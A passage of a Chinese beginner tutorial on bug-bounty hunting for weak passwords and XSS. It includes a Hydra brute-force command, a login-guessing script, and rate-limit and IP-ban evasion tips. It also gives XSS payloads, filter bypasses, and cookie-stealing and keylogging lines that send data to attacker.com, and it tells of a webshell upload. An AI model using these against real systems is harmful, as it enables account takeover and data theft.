新手入门:弱口令与XSS漏洞挖掘实战指南

1. 项目概述

"SRC漏洞挖掘实战(三):零基础手把手教你挖弱口令与XSS,新手第一漏洞轻松拿!"这个标题直指网络安全领域两个最经典也最适合新手入门的漏洞类型——弱口令和XSS跨站脚本攻击。作为安全研究人员的必修课,这两种漏洞在各大SRC(安全应急响应中心)平台和CTF比赛中都占据着重要地位。

我从事网络安全工作已有七年时间,从最初的CTF选手到现在的企业安全工程师,弱口令和XSS始终是我日常工作中遇到频率最高的漏洞类型。根据补天、漏洞盒子等主流SRC平台的数据统计,弱口令漏洞占比约25%,XSS漏洞占比约15%,两者加起来几乎占据了所有漏洞报告的半壁江山。

对于刚入门安全领域的新手来说,弱口令和XSS是最容易上手也最容易获得成就感的突破口。不需要复杂的工具链,不需要深厚的编程功底,只需要掌握基本的原理和正确的挖掘方法,就能在实战中有所收获。这也是为什么我特别推荐新手从这两个漏洞类型开始自己的漏洞挖掘之旅。

需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. 核心需求解析

2.1 为什么选择弱口令和XSS作为入门

弱口令和XSS之所以适合新手,主要基于以下几个特点:

  1. 原理简单易懂:弱口令就是简单的密码猜测,XSS则是向网页注入恶意脚本,概念上都非常直观
  2. 验证门槛低:不需要搭建复杂环境,一个浏览器就能开始测试
  3. 工具要求低:Burp Suite社区版甚至浏览器开发者工具就足够
  4. 危害直观:弱口令可以直接进入系统,XSS可以弹窗证明
  5. 普遍存在:即使是大厂系统也经常出现这类基础漏洞

2.2 新手常见误区与避坑指南

在指导新人进行漏洞挖掘的过程中,我发现以下几个常见误区需要特别注意:

  1. 盲目扫描:直接上工具一顿乱扫,既低效又容易被封IP
  2. 忽略信息收集:没有充分了解目标就急于测试
  3. 测试不规范:在非授权系统上测试,可能触犯法律
  4. 报告质量低:漏洞描述不清,复现步骤不全
  5. 忽视漏洞组合:单独看可能是低危,组合利用可能升级为中高危

重要提示:在进行任何漏洞测试前,务必确认目标系统是否属于SRC平台授权范围,或者是否获得系统所有者的书面授权。未经授权的测试可能构成违法行为。

3. 弱口令漏洞挖掘实战

3.1 弱口令漏洞原理与分类

弱口令本质上属于认证缺陷,主要分为以下几类:

  1. 默认口令:admin/admin、root/root等厂商预设的初始密码
  2. 常见组合:用户名+123456、姓名+生日等易猜组合
  3. 短密码:长度小于8位特别是纯数字的密码
  4. 字典密码:password、qwerty等常见弱密码
  5. 规律密码:连续数字、重复字符等有规律的密码

3.2 高效弱口令挖掘四步法

根据我的实战经验,高效的弱口令测试应该遵循以下步骤:

3.2.1 目标信息收集

  1. 识别登录入口:Web登录页、API接口、移动端接口等
  2. 收集用户信息:通过注册功能、忘记密码功能、页面源码等收集可能的用户名
  3. 分析认证机制:是普通表单认证、Basic Auth还是其他方式

3.2.2 字典构建技巧

一个好的弱口令字典应该包含:

  1. 通用弱口令:top100、top1000等常见密码
  2. 目标相关密码:公司名+年份、产品名+123等组合
  3. 社会工程学密码:根据收集到的用户信息生成的个性化密码

我常用的字典来源:

  • SecLists项目中的密码字典
  • 自己整理的行业特定字典
  • 根据目标特点临时生成的定制字典

3.2.3 自动化测试工具使用

推荐工具及使用技巧:

  1. Burp Suite Intruder

    • 配置Payloads时要设置合理的请求间隔
    • 注意添加失败请求的重试机制
    • 设置代理避免IP被封
  2. Hydra

    bash复制hydra -L users.txt -P passwords.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
    
    • 使用-t参数控制并发数
    • 遇到验证码时考虑使用OCR或人工打码
  3. 自定义Python脚本

    python复制import requests
    for password in open('passwords.txt'):
        r = requests.post('https://target.com/login', data={'user':'admin','pass':password.strip()})
        if 'Welcome' in r.text:
            print(f"Found password: {password}")
            break
    

3.2.4 结果验证与报告

验证弱口令有效性时要注意:

  1. 确认是否真的获得了有效权限
  2. 记录完整的测试过程和凭证
  3. 测试完成后立即退出系统
  4. 在报告中提供清晰的复现步骤

3.3 高级技巧与绕过方法

对于有一定防护的系统,可以尝试以下方法:

  1. 密码喷洒攻击:用少量常用密码尝试大量用户
  2. 时间延迟绕过:在请求间添加随机延迟避免触发频率限制
  3. IP轮换:使用代理池轮换IP地址
  4. 请求参数变异:修改User-Agent、Referer等头部信息
  5. 验证码绕过:识别简单的验证码或寻找没有验证码的接口

4. XSS漏洞挖掘实战

4.1 XSS漏洞原理与分类

XSS全称跨站脚本攻击,主要分为三类:

  1. 反射型XSS:恶意脚本通过URL参数注入,服务器直接返回给用户
  2. 存储型XSS:恶意脚本被存储到服务器数据库,影响所有访问用户
  3. DOM型XSS:完全在客户端执行的XSS,不经过服务器

4.2 XSS漏洞挖掘五步法

4.2.1 输入点发现

寻找所有用户可控的输入点:

  1. URL参数
  2. 表单输入框
  3. HTTP头部(如User-Agent、Referer)
  4. 文件上传点(如文件名、文件内容)
  5. AJAX请求参数

4.2.2 基础Payload测试

从简单到复杂逐步测试:

  1. 基础测试:<script>alert(1)</script>
  2. 事件处理器:" onmouseover="alert(1)
  3. 伪协议:javascript:alert(1)
  4. SVG/HTML5新特性:<svg onload=alert(1)>

4.2.3 过滤绕过技巧

常见过滤及绕过方法:

  1. 尖括号过滤

    • 使用事件处理器:" onfocus=alert(1) autofocus="
    • 使用JavaScript伪协议:javascript:alert(1)
  2. 引号过滤

    • 使用String.fromCharCode:eval(String.fromCharCode(97,108,101,114,116,40,49,41))
    • 使用模板字符串:${alert(1)}
  3. 关键字过滤

    • 大小写混淆:<sCript>alert(1)</scRipt>
    • 编码混淆:<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script>

4.2.4 上下文识别与利用

根据输入点出现的不同上下文环境,采用不同的利用方式:

  1. HTML上下文

    html复制<div>用户输入点</div><div><script>alert(1)</script></div>
    
  2. 属性上下文

    html复制<input value="用户输入点"><input value="" onmouseover="alert(1)">
    
  3. JavaScript上下文

    javascript复制var x = "用户输入点"; → var x = "";alert(1);//
    
  4. URL上下文

    code复制https://example.com/redirect?url=用户输入点 → javascript:alert(1)
    

4.2.5 高级利用与组合攻击

  1. 窃取Cookie

    javascript复制document.location='http://attacker.com/steal?cookie='+document.cookie
    
  2. 键盘记录

    javascript复制document.onkeypress = function(e){ 
        new Image().src='http://attacker.com/log?k='+e.key;
    }
    
  3. 结合CSRF

    javascript复制fetch('/admin/deleteUser', {method:'POST',body:'id=1'})
    

4.3 自动化工具辅助测试

  1. Burp Suite Scanner:自动检测常见的XSS漏洞
  2. XSStrike:智能XSS检测工具
    bash复制python3 xsstrike.py -u "http://target.com/search?q=test"
    
  3. DOM Invader:Chrome插件,专门检测DOM XSS

5. 漏洞报告与提交规范

5.1 高质量漏洞报告要素

  1. 清晰的问题描述:用简洁的语言说明漏洞类型和位置
  2. 详细的复现步骤:从登录到触发漏洞的完整流程
  3. 必要的截图/视频:证明漏洞确实存在
  4. 危害分析:说明可能造成的影响
  5. 修复建议:提供可行的解决方案

5.2 主流SRC平台提交指南

  1. 补天SRC:注重漏洞的实际危害,偏好业务逻辑漏洞
  2. 漏洞盒子:接受各类漏洞,但要求严格的复现步骤
  3. 腾讯安全应急响应中心:对XSS的评分标准较高
  4. 阿里安全响应中心:重视漏洞的创新性和深度利用

5.3 提高漏洞通过率的技巧

  1. 选择合适的目标:优先测试新上线或近期更新过的系统
  2. 关注业务核心功能:支付、订单、用户管理等关键路径
  3. 展示完整攻击链:从信息收集到最终利用的全过程
  4. 提供修复方案:展示你的专业度
  5. 保持良好沟通:及时回复审核人员的疑问

6. 实战案例解析

6.1 弱口令实战:某OA系统入侵

  1. 信息收集:通过公司官网发现使用某品牌OA系统
  2. 用户枚举:通过忘记密码功能确认存在admin、test等账号
  3. 密码喷洒:使用top50弱密码尝试上述账号
  4. 成功登录:admin/admin123成功进入后台
  5. 权限提升:发现后台存在文件上传功能,上传webshell

关键点:通过密码喷洒而非暴力破解,避免触发锁定机制。

6.2 XSS实战:存储型XSS获取管理员Cookie

  1. 发现评论功能:找到用户可输入的评论框
  2. 测试过滤机制:发现过滤了